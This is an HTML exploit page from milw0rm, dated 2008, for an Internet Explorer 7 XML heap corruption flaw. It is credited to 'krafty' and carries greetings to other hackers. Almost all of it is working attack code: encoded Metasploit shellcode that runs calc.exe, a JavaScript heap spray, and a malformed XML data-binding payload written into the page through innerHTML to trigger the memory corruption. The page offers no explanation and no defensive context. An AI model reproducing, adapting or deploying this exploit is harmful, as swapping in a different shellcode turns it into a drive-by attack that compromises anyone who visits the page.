48 lines
No EOL
1.5 KiB
HTML
48 lines
No EOL
1.5 KiB
HTML
<!--
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IE XML Heap Corruption exploit
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by krafty
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greets to hdm, ddz, SK, muts, halvar, grugq, and all the ethnical hackers
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sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.
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Bring back the days of technotronic and r00tshell! Freedom.
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poc: launches calculator.
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Tested with IE7 XP SP2, SP3, Vista.
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-->
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<html>
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<div id="replace">x</div>
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<script>
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// windows/exec - 148 bytes
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// http://www.metasploit.com
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// Encoder: x86/shikata_ga_nai
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// EXITFUNC=process, CMD=calc.exe
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var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
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// ugly heap spray, the d0nkey way!
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// works most of the time
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var spray = unescape("%u0a0a%u0a0a");
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do {
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spray += spray;
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} while(spray.length < 0xd0000);
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memory = new Array();
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for(i = 0; i < 100; i++)
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memory[i] = spray + shellcode;
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xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
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tag = document.getElementById("replace");
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tag.innerHTML = xmlcode;
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</script>
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</html>
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# milw0rm.com [2008-12-15] |